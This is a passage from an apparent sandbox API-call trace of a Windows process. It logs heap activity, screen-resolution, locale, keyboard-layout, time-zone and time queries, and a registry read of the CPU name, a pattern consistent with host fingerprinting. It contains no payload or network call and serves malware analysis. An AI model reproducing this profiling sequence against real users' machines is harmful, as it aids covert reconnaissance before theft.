hHeap=0x2360000) returned 1 [0145.243] CreateDCA (pwszDriver="DISPLAY", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x200106a4 [0145.245] GetDeviceCaps (hdc=0x200106a4, index=8) returned 1440 [0145.246] GetDeviceCaps (hdc=0x200106a4, index=10) returned 900 [0145.246] ReleaseDC (hWnd=0x0, hDC=0x200106a4) returned 1 [0145.246] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2361428 [0145.273] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x2361438 [0145.273] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23610d0 [0145.273] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x10) returned 0x23610e0 [0145.274] GetLastError () returned 0xcb [0145.274] SetLastError (dwErrCode=0xcb) [0145.274] GetLastError () returned 0xcb [0145.274] SetLastError (dwErrCode=0xcb) [0145.279] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0xd8) returned 0x3340048 [0145.279] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x355) returned 0x3340330 [0145.285] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340330 | out: hHeap=0x2360000) returned 1 [0145.286] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361338 | out: hHeap=0x2360000) returned 1 [0145.286] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2) returned 0x23610f8 [0145.286] GetLastError () returned 0xcb [0145.286] SetLastError (dwErrCode=0xcb) [0145.286] GetLastError () returned 0xcb [0145.286] SetLastError (dwErrCode=0xcb) [0145.286] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0xd8) returned 0x2361338 [0145.286] GetLastError () returned 0xcb [0145.286] SetLastError (dwErrCode=0xcb) [0145.286] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x355) returned 0x3340330 [0145.286] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340330 | out: hHeap=0x2360000) returned 1 [0145.287] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0145.287] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2) returned 0x2361478 [0145.287] GetLastError () returned 0xcb [0145.287] SetLastError (dwErrCode=0xcb) [0145.287] GetLastError () returned 0xcb [0145.287] SetLastError (dwErrCode=0xcb) [0145.287] GetLastError () returned 0xcb [0145.287] SetLastError (dwErrCode=0xcb) [0145.287] GetLastError () returned 0xcb [0145.287] SetLastError (dwErrCode=0xcb) [0145.301] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0xd8) returned 0x3340048 [0145.301] GetLastError () returned 0xcb [0145.301] SetLastError (dwErrCode=0xcb) [0145.301] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x355) returned 0x3340330 [0145.301] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340330 | out: hHeap=0x2360000) returned 1 [0145.302] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361338 | out: hHeap=0x2360000) returned 1 [0145.302] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361478 | out: hHeap=0x2360000) returned 1 [0145.302] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610f8 | out: hHeap=0x2360000) returned 1 [0145.302] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x23610f8 [0145.309] GetLastError () returned 0xcb [0145.309] SetLastError (dwErrCode=0xcb) [0145.309] GetLastError () returned 0xcb [0145.309] SetLastError (dwErrCode=0xcb) [0145.309] GetLastError () returned 0xcb [0145.309] SetLastError (dwErrCode=0xcb) [0145.309] GetLastError () returned 0xcb [0145.309] SetLastError (dwErrCode=0xcb) [0145.309] GetLastError () returned 0xcb [0145.309] SetLastError (dwErrCode=0xcb) [0145.309] GetLastError () returned 0xcb [0145.309] SetLastError (dwErrCode=0xcb) [0145.309] GetLastError () returned 0xcb [0145.310] SetLastError (dwErrCode=0xcb) [0145.310] GetLastError () returned 0xcb [0145.310] SetLastError (dwErrCode=0xcb) [0145.310] GetLastError () returned 0xcb [0145.310] SetLastError (dwErrCode=0xcb) [0145.310] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x2361478 [0145.310] GetLastError () returned 0xcb [0145.310] SetLastError (dwErrCode=0xcb) [0145.310] GetLastError () returned 0xcb [0145.310] SetLastError (dwErrCode=0xcb) [0145.310] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0xd8) returned 0x2361338 [0145.311] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x355) returned 0x3340330 [0145.311] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340330 | out: hHeap=0x2360000) returned 1 [0145.311] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0145.311] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2) returned 0x2361498 [0145.311] GetLastError () returned 0xcb [0145.311] SetLastError (dwErrCode=0xcb) [0145.311] GetLastError () returned 0xcb [0145.312] SetLastError (dwErrCode=0xcb) [0145.312] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0xd8) returned 0x3340048 [0145.312] GetLastError () returned 0xcb [0145.312] SetLastError (dwErrCode=0xcb) [0145.312] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x355) returned 0x3340330 [0145.312] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340330 | out: hHeap=0x2360000) returned 1 [0145.312] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361338 | out: hHeap=0x2360000) returned 1 [0145.312] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2) returned 0x23614a8 [0145.312] GetLastError () returned 0xcb [0145.313] SetLastError (dwErrCode=0xcb) [0145.313] GetLastError () returned 0xcb [0145.313] SetLastError (dwErrCode=0xcb) [0145.313] GetLastError () returned 0xcb [0145.313] SetLastError (dwErrCode=0xcb) [0145.313] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x1) returned 0x23614b8 [0145.313] GetLastError () returned 0xcb [0145.313] SetLastError (dwErrCode=0xcb) [0145.313] GetLastError () returned 0xcb [0145.313] SetLastError (dwErrCode=0xcb) [0145.313] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x6) returned 0x23614c8 [0145.313] GetLastError () returned 0xcb [0145.313] SetLastError (dwErrCode=0xcb) [0145.313] GetLastError () returned 0xcb [0145.313] SetLastError (dwErrCode=0xcb) [0145.313] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x5) returned 0x23614d8 [0145.313] GetLastError () returned 0xcb [0145.314] SetLastError (dwErrCode=0xcb) [0145.314] GetLastError () returned 0xcb [0145.314] SetLastError (dwErrCode=0xcb) [0145.314] GetLastError () returned 0xcb [0145.314] SetLastError (dwErrCode=0xcb) [0145.314] GetLastError () returned 0xcb [0145.314] SetLastError (dwErrCode=0xcb) [0145.314] GetLastError () returned 0xcb [0145.314] SetLastError (dwErrCode=0xcb) [0145.314] GetLastError () returned 0xcb [0145.314] SetLastError (dwErrCode=0xcb) [0145.314] GetLastError () returned 0xcb [0145.314] SetLastError (dwErrCode=0xcb) [0145.314] GetLastError () returned 0xcb [0145.314] SetLastError (dwErrCode=0xcb) [0145.314] GetLastError () returned 0xcb [0145.314] SetLastError (dwErrCode=0xcb) [0145.315] GetLastError () returned 0xcb [0145.315] SetLastError (dwErrCode=0xcb) [0145.315] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x8, Size=0xd8) returned 0x2361338 [0145.315] GetLastError () returned 0xcb [0145.315] SetLastError (dwErrCode=0xcb) [0145.315] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x355) returned 0x3340330 [0145.315] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340330 | out: hHeap=0x2360000) returned 1 [0145.316] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0145.316] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23614a8 | out: hHeap=0x2360000) returned 1 [0145.316] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361498 | out: hHeap=0x2360000) returned 1 [0145.316] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x2361498 [0145.316] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340048 [0145.316] GetLastError () returned 0xcb [0145.316] SetLastError (dwErrCode=0xcb) [0145.324] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0145.324] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610d0 | out: hHeap=0x2360000) returned 1 [0145.324] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361438 | out: hHeap=0x2360000) returned 1 [0145.324] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361428 | out: hHeap=0x2360000) returned 1 [0145.324] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23610d0 [0145.325] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x2361428 [0145.325] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2361448 [0145.325] GetLastError () returned 0xcb [0145.325] SetLastError (dwErrCode=0xcb) [0145.325] GetLastError () returned 0xcb [0145.325] SetLastError (dwErrCode=0xcb) [0145.325] GetLastError () returned 0xcb [0145.325] SetLastError (dwErrCode=0xcb) [0145.326] GetLastError () returned 0xcb [0145.326] SetLastError (dwErrCode=0xcb) [0145.326] GetLastError () returned 0xcb [0145.326] SetLastError (dwErrCode=0xcb) [0145.326] GetLastError () returned 0xcb [0145.326] SetLastError (dwErrCode=0xcb) [0145.326] GetLastError () returned 0xcb [0145.326] SetLastError (dwErrCode=0xcb) [0145.326] GetLastError () returned 0xcb [0145.326] SetLastError (dwErrCode=0xcb) [0145.326] GetLastError () returned 0xcb [0145.327] SetLastError (dwErrCode=0xcb) [0145.327] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340538 [0145.327] GetLastError () returned 0xcb [0145.327] SetLastError (dwErrCode=0xcb) [0145.327] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340538 | out: hHeap=0x2360000) returned 1 [0145.327] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361448 | out: hHeap=0x2360000) returned 1 [0145.327] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361428 | out: hHeap=0x2360000) returned 1 [0145.327] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610d0 | out: hHeap=0x2360000) returned 1 [0145.327] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340470 [0145.327] GetLastError () returned 0xcb [0145.327] SetLastError (dwErrCode=0xcb) [0145.327] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340470 | out: hHeap=0x2360000) returned 1 [0145.328] GetUserDefaultLocaleName (in: lpLocaleName=0x19f70c, cchLocaleName=85 | out: lpLocaleName="en-US") returned 6 [0145.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0145.328] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x6) returned 0x23610d0 [0145.328] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=6, lpMultiByteStr=0x23610d0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 6 [0145.328] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610d0 | out: hHeap=0x2360000) returned 1 [0145.328] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33403f8 [0145.328] GetLastError () returned 0xcb [0145.328] SetLastError (dwErrCode=0xcb) [0145.328] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33403f8 | out: hHeap=0x2360000) returned 1 [0145.334] GetKeyboardLayoutList (in: nBuff=0, lpList=0x0 | out: lpList=0x0) returned 1 [0145.402] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x85e5c0 [0145.402] GetKeyboardLayoutList (in: nBuff=1, lpList=0x85e5c0 | out: lpList=0x85e5c0) returned 1 [0145.402] GetLocaleInfoA (in: Locale=0x409, LCType=0x2, lpLCData=0x19f5b8, cchData=512 | out: lpLCData="English (United States)") returned 24 [0145.447] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340448 [0145.447] LocalFree (hMem=0x85e5c0) returned 0x0 [0145.447] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x3340048 [0145.447] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340448 | out: hHeap=0x2360000) returned 1 [0145.448] GetLastError () returned 0x0 [0145.448] SetLastError (dwErrCode=0x0) [0145.448] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0145.448] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19f5d0 | out: lpSystemTimeAsFileTime=0x19f5d0*(dwLowDateTime=0x4dbd3ac3, dwHighDateTime=0x1d7b434)) [0145.448] GetLastError () returned 0x0 [0145.448] SetLastError (dwErrCode=0x0) [0145.448] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x24) returned 0x2361428 [0145.448] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23610d0 [0145.449] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340048 [0145.449] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23614a8 [0145.449] GetLastError () returned 0x0 [0145.449] SetLastError (dwErrCode=0x0) [0145.449] GetLastError () returned 0x0 [0145.449] SetLastError (dwErrCode=0x0) [0145.449] GetLastError () returned 0x0 [0145.449] SetLastError (dwErrCode=0x0) [0145.449] GetLastError () returned 0x0 [0145.450] SetLastError (dwErrCode=0x0) [0145.450] GetLastError () returned 0x0 [0145.450] SetLastError (dwErrCode=0x0) [0145.450] GetLastError () returned 0x0 [0145.450] SetLastError (dwErrCode=0x0) [0145.450] GetLastError () returned 0x0 [0145.450] SetLastError (dwErrCode=0x0) [0145.450] GetLastError () returned 0x0 [0145.450] SetLastError (dwErrCode=0x0) [0145.450] GetLastError () returned 0x0 [0145.450] SetLastError (dwErrCode=0x0) [0145.450] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33406c8 [0145.450] GetLastError () returned 0x0 [0145.450] SetLastError (dwErrCode=0x0) [0145.451] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33406c8 | out: hHeap=0x2360000) returned 1 [0145.451] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23614a8 | out: hHeap=0x2360000) returned 1 [0145.451] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0145.451] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610d0 | out: hHeap=0x2360000) returned 1 [0145.451] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23610d0 [0145.451] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340048 [0145.451] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23614a8 [0145.451] GetLastError () returned 0x0 [0145.452] SetLastError (dwErrCode=0x0) [0145.452] GetLastError () returned 0x0 [0145.452] SetLastError (dwErrCode=0x0) [0145.452] GetLastError () returned 0x0 [0145.452] SetLastError (dwErrCode=0x0) [0145.452] GetLastError () returned 0x0 [0145.452] SetLastError (dwErrCode=0x0) [0145.452] GetLastError () returned 0x0 [0145.452] SetLastError (dwErrCode=0x0) [0145.452] GetLastError () returned 0x0 [0145.452] SetLastError (dwErrCode=0x0) [0145.452] GetLastError () returned 0x0 [0145.452] SetLastError (dwErrCode=0x0) [0145.452] GetLastError () returned 0x0 [0145.452] SetLastError (dwErrCode=0x0) [0145.452] GetLastError () returned 0x0 [0145.453] SetLastError (dwErrCode=0x0) [0145.453] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340358 [0145.453] GetLastError () returned 0x0 [0145.453] SetLastError (dwErrCode=0x0) [0145.453] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340358 | out: hHeap=0x2360000) returned 1 [0145.453] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23614a8 | out: hHeap=0x2360000) returned 1 [0145.453] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0145.453] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610d0 | out: hHeap=0x2360000) returned 1 [0145.453] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23610d0 [0145.454] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340048 [0145.454] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23614a8 [0145.454] GetLastError () returned 0x0 [0145.454] SetLastError (dwErrCode=0x0) [0145.454] GetLastError () returned 0x0 [0145.454] SetLastError (dwErrCode=0x0) [0145.454] GetLastError () returned 0x0 [0145.454] SetLastError (dwErrCode=0x0) [0145.454] GetLastError () returned 0x0 [0145.455] SetLastError (dwErrCode=0x0) [0145.455] GetLastError () returned 0x0 [0145.455] SetLastError (dwErrCode=0x0) [0145.455] GetLastError () returned 0x0 [0145.455] SetLastError (dwErrCode=0x0) [0145.455] GetLastError () returned 0x0 [0145.455] SetLastError (dwErrCode=0x0) [0145.455] GetLastError () returned 0x0 [0145.455] SetLastError (dwErrCode=0x0) [0145.455] GetLastError () returned 0x0 [0145.455] SetLastError (dwErrCode=0x0) [0145.455] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33406a0 [0145.455] GetLastError () returned 0x0 [0145.456] SetLastError (dwErrCode=0x0) [0145.456] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33406a0 | out: hHeap=0x2360000) returned 1 [0145.456] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23614a8 | out: hHeap=0x2360000) returned 1 [0145.456] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0145.456] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610d0 | out: hHeap=0x2360000) returned 1 [0145.456] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23610d0 [0145.457] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340048 [0145.457] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23614a8 [0145.457] GetLastError () returned 0x0 [0145.457] SetLastError (dwErrCode=0x0) [0145.457] GetLastError () returned 0x0 [0145.457] SetLastError (dwErrCode=0x0) [0145.457] GetLastError () returned 0x0 [0145.457] SetLastError (dwErrCode=0x0) [0145.457] GetLastError () returned 0x0 [0145.458] SetLastError (dwErrCode=0x0) [0145.458] GetLastError () returned 0x0 [0145.458] SetLastError (dwErrCode=0x0) [0145.458] GetLastError () returned 0x0 [0145.458] SetLastError (dwErrCode=0x0) [0145.458] GetLastError () returned 0x0 [0145.458] SetLastError (dwErrCode=0x0) [0145.458] GetLastError () returned 0x0 [0145.458] SetLastError (dwErrCode=0x0) [0145.458] GetLastError () returned 0x0 [0145.458] SetLastError (dwErrCode=0x0) [0145.458] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33405d8 [0145.458] GetLastError () returned 0x0 [0145.458] SetLastError (dwErrCode=0x0) [0145.459] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33405d8 | out: hHeap=0x2360000) returned 1 [0145.459] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23614a8 | out: hHeap=0x2360000) returned 1 [0145.459] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0145.459] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610d0 | out: hHeap=0x2360000) returned 1 [0145.459] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23610d0 [0145.459] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340048 [0145.459] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23614a8 [0145.460] GetLastError () returned 0x0 [0145.460] SetLastError (dwErrCode=0x0) [0145.460] GetLastError () returned 0x0 [0145.460] SetLastError (dwErrCode=0x0) [0145.460] GetLastError () returned 0x0 [0145.460] SetLastError (dwErrCode=0x0) [0145.460] GetLastError () returned 0x0 [0145.460] SetLastError (dwErrCode=0x0) [0145.460] GetLastError () returned 0x0 [0145.460] SetLastError (dwErrCode=0x0) [0145.460] GetLastError () returned 0x0 [0145.460] SetLastError (dwErrCode=0x0) [0145.460] GetLastError () returned 0x0 [0145.460] SetLastError (dwErrCode=0x0) [0145.460] GetLastError () returned 0x0 [0145.460] SetLastError (dwErrCode=0x0) [0145.461] GetLastError () returned 0x0 [0145.461] SetLastError (dwErrCode=0x0) [0145.461] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340510 [0145.461] GetLastError () returned 0x0 [0145.461] SetLastError (dwErrCode=0x0) [0145.461] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340510 | out: hHeap=0x2360000) returned 1 [0145.461] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23614a8 | out: hHeap=0x2360000) returned 1 [0145.461] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0145.461] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610d0 | out: hHeap=0x2360000) returned 1 [0145.461] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23610d0 [0145.462] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340048 [0145.462] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23614a8 [0145.462] GetLastError () returned 0x0 [0145.462] SetLastError (dwErrCode=0x0) [0145.462] GetLastError () returned 0x0 [0145.462] SetLastError (dwErrCode=0x0) [0145.462] GetLastError () returned 0x0 [0145.463] SetLastError (dwErrCode=0x0) [0145.463] GetLastError () returned 0x0 [0145.463] SetLastError (dwErrCode=0x0) [0145.463] GetLastError () returned 0x0 [0145.463] SetLastError (dwErrCode=0x0) [0145.463] GetLastError () returned 0x0 [0145.463] SetLastError (dwErrCode=0x0) [0145.463] GetLastError () returned 0x0 [0145.463] SetLastError (dwErrCode=0x0) [0145.463] GetLastError () returned 0x0 [0145.463] SetLastError (dwErrCode=0x0) [0145.463] GetLastError () returned 0x0 [0145.463] SetLastError (dwErrCode=0x0) [0145.463] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33404c0 [0145.464] GetLastError () returned 0x0 [0145.464] SetLastError (dwErrCode=0x0) [0145.464] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33404c0 | out: hHeap=0x2360000) returned 1 [0145.464] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23614a8 | out: hHeap=0x2360000) returned 1 [0145.464] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0145.464] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610d0 | out: hHeap=0x2360000) returned 1 [0145.464] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340538 [0145.475] GetLastError () returned 0x0 [0145.475] SetLastError (dwErrCode=0x0) [0145.476] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340538 | out: hHeap=0x2360000) returned 1 [0145.476] GetSystemTime (in: lpSystemTime=0x19f6d0 | out: lpSystemTime=0x19f6d0*(wYear=0x7e5, wMonth=0x9, wDayOfWeek=0x2, wDay=0x1c, wHour=0x6, wMinute=0x2c, wSecond=0x24, wMilliseconds=0x28e)) [0145.476] GetTimeZoneInformation (in: lpTimeZoneInformation=0x19f70c | out: lpTimeZoneInformation=0x19f70c) returned 0x2 [0145.476] TzSpecificLocalTimeToSystemTime (in: lpTimeZoneInformation=0x19f70c, lpLocalTime=0x19f6d0, lpUniversalTime=0x19f6e0 | out: lpUniversalTime=0x19f6e0) returned 1 [0145.477] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23610d0 [0145.477] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340048 [0145.477] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23614a8 [0145.478] GetLastError () returned 0x0 [0145.478] SetLastError (dwErrCode=0x0) [0145.566] GetLastError () returned 0x0 [0145.566] SetLastError (dwErrCode=0x0) [0145.566] GetLastError () returned 0x0 [0145.566] SetLastError (dwErrCode=0x0) [0145.566] GetLastError () returned 0x0 [0145.566] SetLastError (dwErrCode=0x0) [0145.566] GetLastError () returned 0x0 [0145.566] SetLastError (dwErrCode=0x0) [0145.566] GetLastError () returned 0x0 [0145.567] SetLastError (dwErrCode=0x0) [0145.567] GetLastError () returned 0x0 [0145.567] SetLastError (dwErrCode=0x0) [0145.567] GetLastError () returned 0x0 [0145.567] SetLastError (dwErrCode=0x0) [0145.567] GetLastError () returned 0x0 [0145.567] SetLastError (dwErrCode=0x0) [0145.567] GetLastError () returned 0x0 [0145.567] SetLastError (dwErrCode=0x0) [0145.567] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340678 [0145.567] GetLastError () returned 0x0 [0145.567] SetLastError (dwErrCode=0x0) [0145.568] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340678 | out: hHeap=0x2360000) returned 1 [0145.568] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23614a8 | out: hHeap=0x2360000) returned 1 [0145.568] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0145.568] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610d0 | out: hHeap=0x2360000) returned 1 [0145.568] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340470 [0145.568] GetLastError () returned 0x0 [0145.568] SetLastError (dwErrCode=0x0) [0145.568] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340470 | out: hHeap=0x2360000) returned 1 [0145.568] GetLastError () returned 0x0 [0145.568] SetLastError (dwErrCode=0x0) [0145.568] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20119, phkResult=0x19f5c0 | out: phkResult=0x19f5c0*=0x2fc) returned 0x0 [0145.569] RegQueryValueExA (in: hKey=0x2fc, lpValueName="ProcessorNameString", lpReserved=0x0, lpType=0x0, lpData=0x19f5c4, lpcbData=0x19f5bc*=0xff | out: lpType=0x0, lpData=0x19f5c4*=0x49, lpcbData=0x19f5bc*=0x28) returned 0x0 [0145.569] RegCloseKey (hKey=0x2fc) returned 0x0 [0145.569] CharToOemA (in: pSrc="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz", pDst=0x19f6c4 | out: pDst="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 1 [0145.569] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x3340048 [0145.569] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x47) returned 0x3340080 [0145.569] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0145.569] GetLastError () returned 0x0 [0145.569] SetLastError (dwErrCode=0x0) [0145.569] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340080 | out: hHeap=0x2360000) 